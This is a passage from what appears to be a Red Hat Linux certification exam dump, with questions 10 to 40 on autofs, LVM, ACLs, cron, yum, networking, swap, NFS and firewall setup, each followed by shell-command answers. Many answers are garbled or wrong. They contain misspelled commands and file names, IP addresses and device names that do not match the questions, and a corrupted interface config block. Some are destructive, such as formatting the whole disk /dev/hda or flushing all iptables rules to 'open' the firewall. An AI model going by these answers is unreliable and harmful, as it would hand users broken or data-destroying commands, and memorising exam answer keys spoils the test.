</span></span><span style="display:flex;"><span>    6.Apply
</span></span><span style="display:flex;"><span>getent passwd ldapuser40
</span></span></code></pre></div><h3 id="question-10">QUESTION 10</h3>
<p>Configure autofs to make sure after login successfully, it has the home directory autofs, which is shared as /rhome/ldapuser40 at the ip: 172.24.40.10. and it also requires that, other ldap users can use the home directory normally.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>chkconfig autofs on
</span></span><span style="display:flex;"><span>cd /etc/
</span></span><span style="display:flex;"><span>vim /etc/auto.master
</span></span><span style="display:flex;"><span>    /rhome /etc/auto.ldap
</span></span><span style="display:flex;"><span>cp auto.misc auto.ldap
</span></span><span style="display:flex;"><span>vim auto.ladp
</span></span><span style="display:flex;"><span>    ldapuser40 -rw,soft,intr 172.24.40.10:/rhome/ldapuser40
</span></span><span style="display:flex;"><span>    * -rw,soft,intr 172.16.40.10:/rhome/&amp;
</span></span><span style="display:flex;"><span>service autofs stop
</span></span><span style="display:flex;"><span>server autofs start
</span></span><span style="display:flex;"><span>showmount -e 172.24.40.10
</span></span><span style="display:flex;"><span>su - ladpuser40
</span></span></code></pre></div><h3 id="question-11">QUESTION 11</h3>
<p>Configure the system synchronous as 172.24.40.10.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>system-config-date
</span></span></code></pre></div><h3 id="question-12">QUESTION 12</h3>
<p>Change the logical volume capacity named vo from 190M to 300M. and the size of the floating range should set between 280 and 320. (This logical volume has been mounted in advance.)</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>vgdisplay <span style="color:#75715e">#(Check the capacity of vg, if the capacity is not enough, need to create pv , vgextend , lvextend)</span>
</span></span><span style="display:flex;"><span>lvdisplay <span style="color:#75715e">#(Check lv)</span>
</span></span><span style="display:flex;"><span>lvextend -L +110M /dev/vg2/lv2
</span></span><span style="display:flex;"><span>resize2fs /dev/vg2/lv2
</span></span><span style="display:flex;"><span>mount -a <span style="color:#75715e">#(Verify)</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#-------------- (Decrease lvm)</span>
</span></span><span style="display:flex;"><span>umount /media
</span></span><span style="display:flex;"><span>fsck -f /dev/vg2/lv2
</span></span><span style="display:flex;"><span>resize2fs -f /dev/vg2/lv2 100M
</span></span><span style="display:flex;"><span>lvreduce -L 100M /dev/vg2/lv2
</span></span><span style="display:flex;"><span>mount -a
</span></span><span style="display:flex;"><span>lvdisplay <span style="color:#75715e">#(Verify)</span>
</span></span></code></pre></div><p>OR</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>e2fsck -f /dev/vg1/lvm02
</span></span><span style="display:flex;"><span>resize2fs -f /dev/vg1/lvm02
</span></span><span style="display:flex;"><span>mount /dev/vg1/lvm01 /mnt
</span></span><span style="display:flex;"><span>lvreduce -L 1G -n /dev/vg1/lvm02
</span></span><span style="display:flex;"><span>lvdisplay <span style="color:#f92672">(</span>Verify<span style="color:#f92672">)</span>
</span></span></code></pre></div><h3 id="question-13">QUESTION 13</h3>
<p>Create a volume group, and set 16M as a extends. And divided a volume group containing 50 extends on volume group lv, make it as ext4 file system, and mounted automatically under /mnt/data.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>pvcreate /dev/sda7 /dev/sda8
</span></span><span style="display:flex;"><span>vgcreate -s 16M vg1 /dev/sda7 /dev/sda8
</span></span><span style="display:flex;"><span>lvcreate -l <span style="color:#ae81ff">50</span> -n lvm02
</span></span><span style="display:flex;"><span>mkfs.ext4 /dev/vg1/lvm02
</span></span><span style="display:flex;"><span>blkid /dev/vg1/lv1
</span></span><span style="display:flex;"><span>vim /etc/fstab
</span></span><span style="display:flex;"><span>mkdir -p /mnt/data
</span></span><span style="display:flex;"><span>vim /etc/fstab
</span></span><span style="display:flex;"><span>    UUID<span style="color:#f92672">=</span>xxxxxxxx /mnt/data ext4 defaults <span style="color:#ae81ff">0</span> <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>mount -a
</span></span><span style="display:flex;"><span>mount
</span></span></code></pre></div><h3 id="question-14">QUESTION 14</h3>
<p>The Additional group of the two users: user2, user3 is the admin group Password: redhat</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>useradd -G admin user2
</span></span><span style="display:flex;"><span>useradd -G admin user3
</span></span><span style="display:flex;"><span>passwd user2
</span></span><span style="display:flex;"><span>    redhat
</span></span><span style="display:flex;"><span>passwd user3
</span></span><span style="display:flex;"><span>    redhat
</span></span></code></pre></div><h3 id="question-15">QUESTION 15</h3>
<p>Copy /etc/fstab to /var/tmp name admin, the user1 could read, write and modify it, while user2 without any permission.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>cp /etc/fstab /var/tmp/
</span></span><span style="display:flex;"><span>chgrp admin /var/tmp/fstab
</span></span><span style="display:flex;"><span>setfacl -m u:user1:rwx /var/tmp/fstab
</span></span><span style="display:flex;"><span>setfacl -m u:user2:--- /var/tmp/fstab
</span></span><span style="display:flex;"><span>ls -l
</span></span><span style="display:flex;"><span>    -rw-rw-r--+ <span style="color:#ae81ff">1</span> root admin <span style="color:#ae81ff">685</span> Nov <span style="color:#ae81ff">10</span> 15:29 /var/tmp/fstab
</span></span></code></pre></div><h3 id="question-16">QUESTION 16</h3>
<p>Configure a task: plan to run echo &ldquo;file&rdquo; command at 14:23 every day.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>crontab -u natasha -e
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">23</span> <span style="color:#ae81ff">14</span> * * * /bin/echo <span style="color:#e6db74">&#34;file&#34;</span>
</span></span></code></pre></div><p>OR</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>su - natasha
</span></span><span style="display:flex;"><span>crontab -e
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">23</span> <span style="color:#ae81ff">14</span> * * * /bin/echo <span style="color:#e6db74">&#34;file&#34;</span>
</span></span></code></pre></div><h3 id="question-17">QUESTION 17</h3>
<p>Configure a default software repository for your system. One YUM has already provided to configure your system on <a href="http://server.domain11.example.com/pub/">http://server.domain11.example.com/pub/</a> x86_64/Server, and can be used normally.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>yum-config-manager --add-repo<span style="color:#f92672">=</span>http://content.example.com/rhel7.0/x86-64/dvd”
</span></span><span style="display:flex;"><span>vim content.example.com_rhel7.0_x86_64_dvd.repo
</span></span><span style="display:flex;"><span>    gpgcheck<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>Yumcleanall
</span></span><span style="display:flex;"><span>Yumrepolist
</span></span></code></pre></div><h3 id="question-18">QUESTION 18</h3>
<p>Adjust the size of the Logical Volume.
Adjust the size of the vo Logical Volume, its file system size should be 290M. Make sure that the content of this system is complete.
Note: the partition size is rarely accurate to the same size as required, so in the range 270M to 320M is acceptable.</p>
<p><em>Addition</em></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>df -hT
</span></span><span style="display:flex;"><span>lvextend -L +100M /dev/vg0/vo
</span></span><span style="display:flex;"><span>Lvscan
</span></span><span style="display:flex;"><span>xfs_growfs /home/ <span style="color:#75715e">#home is the mounted directory of the LVM, this step just need to do in the practice environment, and test EXT4 does not need this step.</span>
</span></span><span style="display:flex;"><span>resize2fs /dev/vg0/vo/ <span style="color:#75715e"># use this command to update in examination.</span>
</span></span><span style="display:flex;"><span>df -hT
</span></span></code></pre></div><p><em>Subtraction</em></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>e2fsck -f/dev/vg0/vo
</span></span><span style="display:flex;"><span>umount /home
</span></span><span style="display:flex;"><span>resize2fs /dev/vg0/vo <span style="color:#75715e">#the final required partition capacity is 100M </span>
</span></span><span style="display:flex;"><span>lvreduce -l 100M /dev/vg0/vo
</span></span><span style="display:flex;"><span>mount /dev/vg0/vo/home
</span></span><span style="display:flex;"><span>df -hT
</span></span></code></pre></div><h3 id="question-19">QUESTION 19</h3>
<p>Configure /var/tmp/fstab Permission.
Copy the file /etc/fstab to /var/tmp/fstab. Configure var/tmp/fstab permissions as the following:
Owner of the file /var/tmp/fstab is Root, belongs to group root
File /var/tmp/fstab cannot be executed by any user
User natasha can read and write /var/tmp/fstab
User harry cannot read and write /var/tmp/fstab
All other users (present and future) can read var/tmp/fstab.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>cp /etc/fstab /var/tmp/
</span></span><span style="display:flex;"><span>/var/tmp/fstab view the owner setfacl -m u:natasha:rw- /var/tmp/fstab setfacl -m u:haryy:--- /var/tmp/fstab
</span></span><span style="display:flex;"><span>getfacl /var/tmp/fstab <span style="color:#75715e">#to view permissions</span>
</span></span></code></pre></div><h3 id="question-20">QUESTION 20</h3>
<p>Add a swap partition.
Adding an extra 500M swap partition to your system, this swap partition should mount automatically when the system starts up. Don&rsquo;t remove and modify the
existing swap partitions on your system.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>fdisk -cu /dev/vda/ <span style="color:#75715e">#in the way of expanding the partition, don’t make main partition</span>
</span></span><span style="display:flex;"><span>partx –a /dev/vda
</span></span><span style="display:flex;"><span>mkswap /dev/vdax
</span></span><span style="display:flex;"><span>swapon /dev/vdax
</span></span><span style="display:flex;"><span>swapon –s
</span></span><span style="display:flex;"><span>vi /etc/fstab
</span></span><span style="display:flex;"><span>    /dev/vdaxswapswapdefaults0 <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>mount -a
</span></span></code></pre></div><h3 id="question-21">QUESTION 21</h3>
<p>Search files.
Find out files owned by jack, and copy them to directory /root/findresults</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>mkdir/root/findfiles
</span></span><span style="display:flex;"><span>find / -user jack -exec cp -a <span style="color:#f92672">{}</span> /root/findfiles/ <span style="color:#ae81ff">\;</span> ls /root/findresults
</span></span></code></pre></div><h3 id="question-22">QUESTION 22</h3>
<p>Search a String
Find out all the columns that contains the string seismic within /usr/share/dict/words, then copy all these columns to /root/lines.tx in original order, there is no blank
line, all columns must be the accurate copy of the original columns.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>grep seismic /usr/share/dict/words &gt; /root/lines.txt
</span></span></code></pre></div><h3 id="question-23">QUESTION 23</h3>
<p>Create a backup
Create a backup file named /root/backup.tar.bz2, contains the content of /usr/local, tar must use bzip2 to compress.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>cd /usr/local
</span></span><span style="display:flex;"><span>tar –jcvf /root/backup.tar.bz2
</span></span><span style="display:flex;"><span>mkdir /test
</span></span><span style="display:flex;"><span>tar –jxvf /root/backup.tar.bz2 –C /test/ <span style="color:#75715e">#Decompression to check the content is the same as the /usr/loca after</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#If the questions require to use gzip to compress. change –j to –z.</span>
</span></span></code></pre></div><h3 id="question-24">QUESTION 24</h3>
<p>Create a logical volume
Create a new logical volume as required:
Name the logical volume as database, belongs to datastore of the volume group, size is 50 PE.
Expansion size of each volume in volume group datastore is 16MB.
Use ext3 to format this new logical volume, this logical volume should automatically mount to /mnt/database</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>fdisk -cu /dev/vda// Create a 1G partition, modified when needed
</span></span><span style="display:flex;"><span>partx –a /dev/vda
</span></span><span style="display:flex;"><span>pvcreate /dev/vdax
</span></span><span style="display:flex;"><span>vgcreate datastore /dev/vdax –s 16M
</span></span><span style="display:flex;"><span>lvcreate– l <span style="color:#ae81ff">50</span> –n database datastore
</span></span><span style="display:flex;"><span>mkfs.ext3 /dev/datastore/database
</span></span><span style="display:flex;"><span>mkdir /mnt/database
</span></span><span style="display:flex;"><span>mount /dev/datastore/database /mnt/database/ df –Th
</span></span><span style="display:flex;"><span>vi /etc/fstab
</span></span><span style="display:flex;"><span>    /dev/datastore /database /mnt/database/ ext3 defaults <span style="color:#ae81ff">0</span> <span style="color:#ae81ff">0</span> mount –a
</span></span></code></pre></div><h3 id="question-25">QUESTION 25</h3>
<p>Configure your Host Name, IP Address, Gateway and DNS.
Host name: dtop5.dn.ws.com
IP Address: 172.28.10.5/4
Gateway: 172.28.10.1
DNS: 172.28.10.1</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>vim /etc/sysconfig/network
</span></span><span style="display:flex;"><span>    NETWORKING<span style="color:#f92672">=</span>yes HOSTNAME<span style="color:#f92672">=</span>dtop5.dn.ws.com GATEWAY<span style="color:#f92672">=</span>172.28.10.1
</span></span><span style="display:flex;"><span>vim /etc/hosts
</span></span><span style="display:flex;"><span>    172.28.10.5 dtop5.da.ws.com dtop5 <span style="color:#75715e"># Added by NetworkManager </span>
</span></span><span style="display:flex;"><span>    127.0.0.1 localhost.localdomain localhost 
</span></span><span style="display:flex;"><span>    ::1 dtop.da.ws.com dtop5 localhost6.1oeoldomaia6 localhost6
</span></span><span style="display:flex;"><span>vim /etc/resolv.conf
</span></span><span style="display:flex;"><span>    <span style="color:#75715e"># Generated by NetworkManager</span>
</span></span><span style="display:flex;"><span>    Search dn.ws.com
</span></span><span style="display:flex;"><span>    Nameserver 172.28.10.1
</span></span><span style="display:flex;"><span>vim /etc/sysconfig/network-scripts/ifcfg-eth0
</span></span><span style="display:flex;"><span>    DEVICE<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;eth0&#34;</span> 
</span></span><span style="display:flex;"><span>    NM_CONTROLLED<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;yes&#34;</span> 
</span></span><span style="display:flex;"><span>    ONBOOT<span style="color:#f92672">=</span>yes 
</span></span><span style="display:flex;"><span>    TYPE<span style="color:#f92672">=</span>Ethernet 
</span></span><span style="display:flex;"><span>    BOOTPROTO<span style="color:#f92672">=</span>none 
</span></span><span style="display:flex;"><span>    IPADDR<span style="color:#f92672">=</span>172.28.10.5 
</span></span><span style="display:flex;"><span>    PREFIX<span style="color:#f92672">=</span><span style="color:#ae81ff">24</span> 
</span></span><span style="display:flex;"><span>    GATEWAY<span style="color:#f92672">=</span>172.28.10.1 
</span></span><span style="display:flex;"><span>    DNS1<span style="color:#f92672">=</span>172.28.10.1 
</span></span><span style="display:flex;"><span>    DOMAIN<span style="color:#f92672">=</span>dn.ws.com 
</span></span><span style="display:flex;"><span>    DEFROUTE<span style="color:#f92672">=</span>yes 
</span></span><span style="display:flex;"><span>    IPY4FAILURE_FATAL<span style="color:#f92672">=</span>yes 
</span></span><span style="display:flex;"><span>    IPV6INTr<span style="color:#f92672">=</span>no 
</span></span><span style="display:flex;"><span>    NAME<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;System eth0&#34;</span> 
</span></span><span style="display:flex;"><span>    TJUM<span style="color:#f92672">=</span>5tb06b80-Obb0-71M-45f1-86edd65f3e03 
</span></span><span style="display:flex;"><span>    HWADDR<span style="color:#f92672">=</span>00,0c:29:0E:A6:C8 
</span></span></code></pre></div><h3 id="question-26">QUESTION 26</h3>
<p>Please open the ip_forward, and take effect permanently.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>vim /etc/sysctl.conf net.ipv4.ip_forward <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>sysctl –w <span style="color:#75715e">#(takes effect immediately)</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># If no “sysctl.conf” option, use these commands:</span>
</span></span><span style="display:flex;"><span>sysctl –a |grep net.ipv4
</span></span><span style="display:flex;"><span>sysctl –P net.ipv4.ip_forward <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>sysctl -w
</span></span></code></pre></div><h3 id="question-27">QUESTION 27</h3>
<p>Make on data that only the user owner and group owner member can fully access.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>chmod <span style="color:#ae81ff">770</span> /data
</span></span><span style="display:flex;"><span>ls -ld /data <span style="color:#75715e"># verify, preview should be like:</span>
</span></span><span style="display:flex;"><span>    drwxrwx--- <span style="color:#ae81ff">2</span> root sysadmin <span style="color:#ae81ff">4096</span> Mar <span style="color:#ae81ff">16</span> 18:08 /data
</span></span><span style="display:flex;"><span><span style="color:#75715e">#To change the permission on directory we use the chmod command.</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#According to the question that only the owner user (root) and group member (sysadmin) can fully access the directory so: chmod 770 /data</span>
</span></span></code></pre></div><h3 id="question-28">QUESTION 28</h3>
<p>Who ever creates the files/directories on a data group owner should automatically be in the same group owner as data.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>chmod g+s /data
</span></span><span style="display:flex;"><span>ls -ld /data <span style="color:#75715e">#verify. Permission should be like this: </span>
</span></span><span style="display:flex;"><span>    drwxrws--- <span style="color:#ae81ff">2</span> root sysadmin <span style="color:#ae81ff">4096</span> Mar <span style="color:#ae81ff">16</span> 18:08 /data
</span></span><span style="display:flex;"><span><span style="color:#75715e"># If SGID bit is set on directory then who every users creates the files on directory group owner automatically the owner of parent directory. To set the SGID bit:</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># chmod g+s directory To Remove the SGID bit: chmod g-s directory</span>
</span></span></code></pre></div><h3 id="question-29">QUESTION 29</h3>
<p>Your System is going to use as a Router for two networks. One Network is 192.168.0.0/24 and Another Network is 192.168.1.0/24. Both network&rsquo;s IP address has assigned. How will you forward the packets from one network to another network?</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>echo <span style="color:#e6db74">&#34;1&#34;</span> &gt;/proc/sys/net/ipv4/ip_forward
</span></span><span style="display:flex;"><span>vi /etc/sysctl.conf
</span></span><span style="display:flex;"><span>    net.ipv4.ip_forward <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># If you want to use the Linux System as a Router to make communication between different networks, you need enable the IP forwarding. To enable on running session, set value 1 to /proc/sys/net/ipv4/ip_forward. As well as automatically turn on the IP forwarding features on next boot set on /etc/sysctl.conf file.</span>
</span></span></code></pre></div><h3 id="question-30">QUESTION 30</h3>
<p>/data Directory is shared from the server1.example.com server. Mount the shared directory that.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>vi /etc/auto.master
</span></span><span style="display:flex;"><span>/mnt /etc /auto.misc --timeout<span style="color:#f92672">=</span><span style="color:#ae81ff">50</span>
</span></span><span style="display:flex;"><span>vi /etc/auto.misc
</span></span><span style="display:flex;"><span>    data -rw,soft,intr server1.example.com:/data
</span></span><span style="display:flex;"><span>service autofs restart
</span></span><span style="display:flex;"><span>chkconfig autofs on
</span></span><span style="display:flex;"><span><span style="color:#75715e"># When you mount the other filesystem, you should unmount the mounted filesystem, Automount feature of linux helps to mount at access time and after certain seconds, when user unaccess the mounted directory, automatically unmount the filesystem.</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># /etc/auto.master is the master configuration file for autofs service. When you start the service, it reads the mount point as defined in /etc/auto.master.</span>
</span></span></code></pre></div><h3 id="question-31">QUESTION 31</h3>
<p>Create one partitions having size 100MB and mount it on data.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>fdisk /dev/hda <span style="color:#75715e">#to create new partition.</span>
</span></span><span style="display:flex;"><span>    n <span style="color:#75715e"># For New partitions.</span>
</span></span><span style="display:flex;"><span>    l <span style="color:#75715e"># for logical parition</span>
</span></span><span style="display:flex;"><span>    Enter <span style="color:#75715e">#When asked for the Starting Cylinder, select Default</span>
</span></span><span style="display:flex;"><span>    +100M <span style="color:#75715e"># Type the Size. You can specify either Last cylinder of size here.</span>
</span></span><span style="display:flex;"><span>    P <span style="color:#75715e"># to verify the partitions lists and remember the partitions name.</span>
</span></span><span style="display:flex;"><span>    w <span style="color:#75715e"># to write on partitions table.</span>
</span></span><span style="display:flex;"><span>partprobe
</span></span><span style="display:flex;"><span>mkfs -t ext3 /dev/hda
</span></span></code></pre></div><p>OR</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>mke2fs -j /dev/hda <span style="color:#75715e"># To create ext3 filesystem.</span>
</span></span><span style="display:flex;"><span>vi /etc/fstab
</span></span><span style="display:flex;"><span>    /dev/hda? /data ext3 defaults <span style="color:#ae81ff">1</span> <span style="color:#ae81ff">2</span>
</span></span></code></pre></div><h3 id="question-32">QUESTION 32</h3>
<p>SELinux must run in force mode.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>/etc/sysconfig/selinux
</span></span><span style="display:flex;"><span>    SELINUX<span style="color:#f92672">=</span>enforcing
</span></span></code></pre></div><h3 id="question-33">QUESTION 33</h3>
<p>The firewall must be open.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>/etc/init.d/iptables start
</span></span><span style="display:flex;"><span>iptables -F
</span></span><span style="display:flex;"><span>iptables -X
</span></span><span style="display:flex;"><span>iptables -Z
</span></span><span style="display:flex;"><span>/etc/init.d/iptables save
</span></span></code></pre></div><h3 id="question-34">QUESTION 34</h3>
<p>In the system, mounted the iso image /root/examine.iso to/mnt/iso directory. And enable automatically mount (permanent mount) after restart system.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>vi /etc/fstab
</span></span><span style="display:flex;"><span>    /root/examine.iso /mnt/iso iso9660 loop <span style="color:#ae81ff">0</span> <span style="color:#ae81ff">0</span> mount -a
</span></span><span style="display:flex;"><span>mount | grep examine
</span></span></code></pre></div><h3 id="question-35">QUESTION 35</h3>
<p>Configure your NFS services. Share the directory by the NFS Shared services.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>/etc/init.d/rpcbind start
</span></span><span style="display:flex;"><span>/etc/init.d/nfslock start
</span></span><span style="display:flex;"><span>/etc/init.d/nfs start
</span></span><span style="display:flex;"><span>chkconfig rpcbind on
</span></span><span style="display:flex;"><span>chkconfig nfslock on
</span></span><span style="display:flex;"><span>chkconfig nfs on
</span></span><span style="display:flex;"><span>showmount -e localhost
</span></span></code></pre></div><h3 id="question-36">QUESTION 36</h3>
<ol>
<li>Find all sizes of 10k file or directory under the /etc directory, and copy to /tmp/findfiles directory.</li>
<li>Find all the files or directories with Lucy as the owner, and copy to /tmp/findfiles directory.</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>find /etc -size 10k -exec cp <span style="color:#f92672">{}</span> /tmp/findfiles <span style="color:#ae81ff">\;</span>
</span></span><span style="display:flex;"><span>find / -user lucy -exec cp -a <span style="color:#f92672">{}</span> /tmp/findfiles <span style="color:#ae81ff">\;</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#Note: If find users and permissions, you need to use cp - a options, to keep file permissions and user attributes etc.</span>
</span></span></code></pre></div><h3 id="question-37">QUESTION 37</h3>
<p>There is a local logical volumes in your system, named with common and belong to VGSRV volume group, mount to the /common directory. The definition of size is 128 MB.
Requirement:
Extend the logical volume to 190 MB without any loss of data. The size is allowed between 160-160 MB after extending.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>lvextend -L 190M /dev/mapper/vgsrv-common resize2fs /dev/mapper/vgsrv-common
</span></span></code></pre></div><h3 id="question-38">QUESTION 38</h3>
<p>Copy /etc/fstab document to /var/TMP directory. According the following requirements to configure the permission of this document.
The owner of this document must be root.
This document belongs to root group.
User mary have read and write permissions for this document.
User alice have read and execute permissions for this document.
Create user named bob, set uid is 1000. Bob have read and write permissions for this document.
All users has read permission for this document in the system.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>cp /etc/fstab /var/tmp
</span></span><span style="display:flex;"><span>chown root:root /var/tmp/fstab
</span></span><span style="display:flex;"><span>chmod a-x /var/tmp/fstab
</span></span><span style="display:flex;"><span>setfacl –m u:mary:rw /var/tmp/fstab
</span></span><span style="display:flex;"><span>setfacl –m u:alice:rx /var/tmp/fstab
</span></span><span style="display:flex;"><span>useradd –u <span style="color:#ae81ff">1000</span> bob
</span></span></code></pre></div><h3 id="question-39">QUESTION 39</h3>
<p>There is a local logical volumes in your system, named with shrink and belong to VGSRV volume group, mount to the /shrink directory. The definition of size is 320MB.
Requirement:
Reduce the logical volume to 220 MB without any loss of data. The size is allowed between 200-260 MB after reducing.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>cd; umount /shrink
</span></span><span style="display:flex;"><span>e2fsck -f /dev/mapper/vgsrv-shrink
</span></span><span style="display:flex;"><span>resize2fs /dev/mapper/vgsrv-shrink 220M
</span></span><span style="display:flex;"><span>lvreduce -L 220M /dev/mapper/vgsrv-shrink
</span></span><span style="display:flex;"><span>mount -a
</span></span></code></pre></div><h3 id="question-40">QUESTION 40</h3>
<p>One Domain RHCE is configured in your lab, your domain server is server1.example.com. nisuser2001, nisuser2002, nisuser2003 user are created on your server 192.168.0.254:/rhome/stationx/nisuser2001. Make sure that when NIS user login in your system automatically mount the home directory. Home directory is separately shared on server /rhome/stationx/ where x is your Station number.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>authconfig --nisserver<span style="color:#f92672">=</span>&lt;NIS SERVER&gt; --nisdomain<span style="color:#f92672">=</span>&lt;NIS DOMAIN&gt; -- update
